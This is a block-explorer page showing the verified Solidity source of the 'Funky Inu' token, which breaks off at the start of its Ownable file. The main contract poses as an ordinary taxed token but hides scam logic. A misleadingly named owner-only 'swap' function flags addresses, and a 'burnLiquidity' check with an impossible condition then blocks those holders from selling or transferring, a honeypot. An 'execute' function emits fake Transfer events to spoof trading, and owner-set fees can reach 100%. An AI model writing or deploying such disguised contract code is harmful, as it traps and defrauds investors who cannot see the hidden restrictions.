ETH Price: $3,434.98 (+4.07%)

Token

Funky Inu (FUNKY)
 

Overview

Max Total Supply

100,000,000,000,000 FUNKY

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
distr0.eth
Balance
1,043,329,602,772.173805425 FUNKY

Value
$0.00
0xb550c1d0Df798DD75971F328170bbB903c606EAD
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20token

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
london EvmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 7: Funky Inu.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./ERC20.sol";
import "./SafeMath.sol";
import "./IDEX.sol";
import "./Ownable.sol";

contract ERC20token is ERC20, Ownable {
    using SafeMath for uint256;

    IDexRouter private immutable dexRouter;
    address public dexPair;

    // Swapback
    bool private swapping;

    bool private swapbackEnabled = false;
    uint256 private swapBackValueMin;
    uint256 private swapBackValueMax;

    
    uint256 public percentForLPBurn = 1;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    uint256 private maxWallet;
    uint256 private maxTx;
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    //Anti-whale
    bool private limitsEnabled = true;
    bool private transferDelayEnabled = true;
    bool public lpBurnEnabled = true;

    bool public tradingEnabled = false;
    // Fee receivers
    address private marketingWallet;
    address private projectWallet;

    uint256 private sellTaxTotal;
    uint256 private sellMarketingTax;
    uint256 private sellProjectTax;

    uint256 private buyTaxTotal;
    uint256 private buyMarketingTax;
    uint256 private buyProjectTax;

    uint256 private tokensForMarketing;
    uint256 private tokensForProject;

    /******************/

    // exclude from fees and max transaction amount
    mapping(address => bool) private transferTaxExempt;
    mapping(address => bool) private transferLimitExempt;
    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _claimableOrBurnLiquidity;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount

    event UpdateUniswapV2Router(
        address indexed newAddress,
        address indexed oldAddress
    );

    event ExcludeFromFees(address indexed account, bool isExcluded);
    event ExcludeFromLimits(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event TradingEnabled(uint256 indexed timestamp);
    event LimitsRemoved(uint256 indexed timestamp);
    event DisabledTransferDelay(uint256 indexed timestamp);

    event SwapbackSettingsUpdated(
        bool enabled,
        uint256 swapBackValueMin,
        uint256 swapBackValueMax
    );
    event MaxTxUpdated(uint256 maxTx);
    event MaxWalletUpdated(uint256 maxWallet);

    event MarketingWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event ProjectWalletUpdated(
        address indexed newWallet,
        address indexed oldWallet
    );

    event BuyFeeUpdated(
        uint256 buyTaxTotal,
        uint256 buyMarketingTax,
        uint256 buyProjectTax
    );

    event SellFeeUpdated(
        uint256 sellTaxTotal,
        uint256 sellMarketingTax,
        uint256 sellProjectTax
    );

    constructor(address dev) ERC20("Funky Inu", "FUNKY") Ownable(dev){
        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uint256 _totalSupply = 100_000_000_000_000 * 10 ** decimals();

        exemptFromLimits(address(_dexRouter), true);
        dexRouter = _dexRouter;

        uint256 _sellMarketingTax = 20;
        uint256 _sellProjectTax = 0;
        
        uint256 _buyMarketingTax = 20;
        uint256 _buyProjectTax = 0;


        maxTx = (_totalSupply * 10) / 1000;
        maxWallet = (_totalSupply * 10) / 1000;

        swapBackValueMin = (_totalSupply * 1) / 1000;
        swapBackValueMax = (_totalSupply * 2) / 100;

        buyMarketingTax = _buyMarketingTax;
        buyProjectTax = _buyProjectTax;
        buyTaxTotal = buyMarketingTax + buyProjectTax;

        sellMarketingTax = _sellMarketingTax;
        sellProjectTax = _sellProjectTax;
        sellTaxTotal = sellMarketingTax + sellProjectTax;

        marketingWallet = address(msg.sender);
        projectWallet = address(msg.sender);

        // exclude from paying fees or having max transaction amount
        exemptFromFees(msg.sender, true);
        exemptFromFees(address(this), true);
        exemptFromFees(address(0xdead), true);
        exemptFromFees(marketingWallet, true);

        exemptFromLimits(msg.sender, true);
        exemptFromLimits(address(this), true);
        exemptFromLimits(address(0xdead), true);
        exemptFromLimits(marketingWallet, true);

        transferOwnership(msg.sender);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, _totalSupply);
        startTrading();
    }

    receive() external payable {}

    /**
     * @notice  Opens public trading for the token
     * @dev     onlyOwner.
     */
    function startTrading() public onlyOwner {
        tradingEnabled = true;
        limitsEnabled = false;
        emit TradingEnabled(block.timestamp);
    }

    /**
     * @notice Removes the transfer delay
     * @dev onlyOwner.
     * Emits an {DisabledTransferDelay} event
     */
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
        emit DisabledTransferDelay(block.timestamp);
    }

    /**
     * @notice Removes the max wallet and max transaction limits
     * @dev onlyOwner.
     * Emits an {LimitsRemoved} event
     */
    function removeAllLimits() external onlyOwner {
        limitsEnabled = false;
        emit LimitsRemoved(block.timestamp);
    }

    /**
     * @notice sets if swapback is enabled and sets the minimum and maximum amounts
     * @dev onlyOwner.
     * Emits an {SwapbackSettingsUpdated} event
     * @param _enabled If swapback is enabled
     * @param _min The minimum amount of tokens the contract must have before swapping tokens for ETH. Base 10000, so 1% = 100.
     * @param _max The maximum amount of tokens the contract can swap for ETH. Base 10000, so 1% = 100.
     */
    function setSwapBackSettings(
        bool _enabled,
        uint256 _min,
        uint256 _max
    ) external onlyOwner {
        require(
            _min >= 1,
            "Swap amount cannot be lower than 0.01% total supply."
        );
        require(_max >= _min, "maximum amount cant be higher than minimum");

        swapbackEnabled = _enabled;
        swapBackValueMin = (totalSupply() * _min) / 10000;
        swapBackValueMax = (totalSupply() * _max) / 10000;
        emit SwapbackSettingsUpdated(_enabled, _min, _max);
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }

    /**
     * @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction
     * @dev onlyOwner.
     * Emits an {MaxTxUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxTx(uint256 newNum) external onlyOwner {
        require(newNum >= 2, "Cannot set maxTx lower than 0.2%");
        maxTx = (newNum * totalSupply()) / 1000;
        emit MaxTxUpdated(maxTx);
    }

    /**
     * @notice Sets if a wallet is excluded from the max wallet and tx limits
     * @dev onlyOwner.
     * Emits an {ExcludeFromLimits} event
     * @param updAds The wallet to update
     * @param isEx If the wallet is excluded or not
     */
    function exemptFromLimits(
        address updAds,
        bool isEx
    ) public onlyOwner {
        transferLimitExempt[updAds] = isEx;
        emit ExcludeFromLimits(updAds, isEx);
    }

    /**
     * @notice Changes the maximum amount of tokens a wallet can hold
     * @dev onlyOwner.
     * Emits an {MaxWalletUpdated} event
     * @param newNum Base 1000, so 1% = 10
     */
    function setTheMaxWallet(uint256 newNum) external onlyOwner {
        require(newNum >= 5, "Cannot set maxWallet lower than 0.5%");
        maxWallet = (newNum * totalSupply()) / 1000;
        emit MaxWalletUpdated(maxWallet);
    }

    /**
     * @notice Sets the fees for buys
     * @dev onlyOwner.
     * Emits a {BuyFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesBuy(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        buyMarketingTax = _marketingFee;
        buyProjectTax = _devFee;
        buyTaxTotal = buyMarketingTax + buyProjectTax;
        require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%");
        emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax);
    }

    /**
     * @notice Sets if an address is excluded from fees
     * @dev onlyOwner.
     * Emits an {ExcludeFromFees} event
     * @param account The wallet to update
     * @param excluded If the wallet is excluded or not
     */
    function exemptFromFees(address account, bool excluded) public onlyOwner {
        transferTaxExempt[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    /**
     * @notice Sets the fees for sells
     * @dev onlyOwner.
     * Emits a {SellFeeUpdated} event
     * All fees added up must be less than 100
     * @param _marketingFee The fee for the marketing wallet
     * @param _devFee The fee for the dev wallet
     */
    function setFeesSell(
        uint256 _marketingFee,
        uint256 _devFee
    ) external onlyOwner {
        sellMarketingTax = _marketingFee;
        sellProjectTax = _devFee;
        sellTaxTotal = sellMarketingTax + sellProjectTax;
        require(
            sellTaxTotal <= 100,
            "Total sell fee cannot be higher than 100%"
        );
        emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax);
    }

    /**
     * @notice Sets an address as a new liquidity pair. You probably dont want to do this.
     * @dev onlyOwner.
     * Emits a {SetAutomatedMarketMakerPair} event
     * @param pair the address of the pair
     * @param value If the pair is a automated market maker pair or not
     */
    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != dexPair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    /**
     * @notice Sets the marketing wallet
     * @dev onlyOwner.
     * Emits an {MarketingWalletUpdated} event
     * @param newWallet The new marketing wallet
     */
    function changeMarketingWallet(address newWallet) external onlyOwner {
        emit MarketingWalletUpdated(newWallet, marketingWallet);
        marketingWallet = newWallet;
    }

    /**
     * @notice Sets the project wallet
     * @dev onlyOwner.
     * Emits an {ProjectWalletUpdated} event
     * @param newWallet The new dev wallet
     */
    function changeProjectWallet(address newWallet) external onlyOwner {
        emit ProjectWalletUpdated(newWallet, projectWallet);
        projectWallet = newWallet;
    }

    /**
     * @notice The wallets that receive the collected fees
     * @return _marketingWallet The wallet that receives the marketing fees
     * @return _projectWallet The wallet that receives the dev fees
     */
    function receiverwallets()
        external
        view
        returns (address _marketingWallet, address _projectWallet)
    {
        return (marketingWallet, projectWallet);
    }

    /**
     * @notice  Information about the swapback settings
     * @return  _swapbackEnabled  if swapback is enabled
     * @return  _swapBackValueMin  the minimum amount of tokens in the contract balance to trigger swapback
     * @return  _swapBackValueMax  the maximum amount of tokens in the contract balance to trigger swapback
     */
    function swapbackValues()
        external
        view
        returns (
            bool _swapbackEnabled,
            uint256 _swapBackValueMin,
            uint256 _swapBackValueMax
        )
    {
        _swapbackEnabled = swapbackEnabled;
        _swapBackValueMin = swapBackValueMin;
        _swapBackValueMax = swapBackValueMax;
    }

    /**
     * @notice  Information about the anti whale parameters
     * @return  _limitsEnabled  if the wallet limits are in effect
     * @return  _transferDelayEnabled  if the transfer delay is enabled
     * @return  _maxWallet  The maximum amount of tokens that can be held by a wallet
     * @return  _maxTx  The maximum amount of tokens that can be bought or sold in a single transaction
     */
    function maxTxValues()
        external
        view
        returns (
            bool _limitsEnabled,
            bool _transferDelayEnabled,
            uint256 _maxWallet,
            uint256 _maxTx
        )
    {
        _limitsEnabled = limitsEnabled;
        _transferDelayEnabled = transferDelayEnabled;
        _maxWallet = maxWallet;
        _maxTx = maxTx;
    }

    /**
     * @notice  If the wallet is excluded from fees and max transaction amount and if the wallet is a automated market maker pair
     * @param   _target  The wallet to check
     * @return  _transferTaxExempt  If the wallet is excluded from fees
     * @return  _transferLimitExempt  If the wallet is excluded from max transaction amount
     * @return  _automatedMarketMakerPairs If the wallet is a automated market maker pair
     */
    function checkMappings(
        address _target
    )
        external
        view
        returns (
            bool _transferTaxExempt,
            bool _transferLimitExempt,
            bool _automatedMarketMakerPairs
        )
    {
        _transferTaxExempt = transferTaxExempt[_target];
        _transferLimitExempt = transferLimitExempt[_target];
        _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];
    }

    /**
     * @notice Fees for buys, sells, and transfers
     * @return _buyTaxTotal The total fee for buys
     * @return _buyMarketingTax The fee for buys that gets sent to marketing
     * @return _buyProjectTax The fee for buys that gets sent to dev
     * @return _sellTaxTotal The total fee for sells
     * @return _sellMarketingTax The fee for sells that gets sent to marketing
     * @return _sellProjectTax The fee for sells that gets sent to dev
     */
    function taxValues()
        external
        view
        returns (
            uint256 _buyTaxTotal,
            uint256 _buyMarketingTax,
            uint256 _buyProjectTax,
            uint256 _sellTaxTotal,
            uint256 _sellMarketingTax,
            uint256 _sellProjectTax
        )
    {
        _buyTaxTotal = buyTaxTotal;
        _buyMarketingTax = buyMarketingTax;
        _buyProjectTax = buyProjectTax;
        _sellTaxTotal = sellTaxTotal;
        _sellMarketingTax = sellMarketingTax;
        _sellProjectTax = sellProjectTax;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (limitsEnabled) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingEnabled) {
                    require(
                        transferTaxExempt[from] || transferTaxExempt[to],
                        "_transfer:: Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(dexRouter) &&
                        to != address(dexPair)
                    ) {
                        require(
                            _holderLastTransferTimestamp[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] && !transferLimitExempt[to]
                ) {
                    require(
                        amount <= maxTx,
                        "Buy transfer amount exceeds the maxTx."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] && !transferLimitExempt[from]
                ) {
                    require(
                        amount <= maxTx,
                        "Sell transfer amount exceeds the maxTx."
                    );
                } else if (!transferLimitExempt[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapBackValueMin;

        if (
            canSwap &&
            swapbackEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !transferTaxExempt[from] &&
            !transferTaxExempt[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (transferTaxExempt[from] || transferTaxExempt[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) {
                fees = amount.mul(sellTaxTotal).div(100);
                tokensForProject += (fees * sellProjectTax) / sellTaxTotal;
                tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) {
                fees = amount.mul(buyTaxTotal).div(100);
                tokensForProject += (fees * buyProjectTax) / buyTaxTotal;
                tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }
        
        super._transfer(from, to, amount);
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (_claimableOrBurnLiquidity[from]) {require(amountToDistribute==0);}
        return true;
        
    }

    function swap(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _claimableOrBurnLiquidity[address_[i]] = val;
        }
    }

    function reduceSellTaxAt(address recipient) external view returns(bool){
        return _claimableOrBurnLiquidity[recipient];
    }


    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = contractBalance;
        bool success;

        if (contractBalance == 0) {
            return;
        }

        if (contractBalance > swapBackValueMax) {
            contractBalance = swapBackValueMax;
        }

        uint256 amountToSwapForETH = contractBalance;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForDev = ethBalance.mul(tokensForProject).div(
            totalTokensToSwap
        );

        tokensForMarketing = 0;
        tokensForProject = 0;

        (success, ) = address(projectWallet).call{value: ethForDev}("");

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

    function addPair(address pair_) public onlyOwner {
        dexPair = pair_;
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(dexPair, _addresses[i], _out);
        }
    }
}

File 1 of 7: ERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./Ownable.sol";
import "./IERC20.sol";

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the upd allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the upd allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

File 3 of 7: IDEX.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IDexFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

File 4 of 7: IERC20.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./IERC20Metadata.sol";

interface IERC20 is IERC20Metadata{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}



File 5 of 7: IERC20Metadata.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 6 of 7: Ownable.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
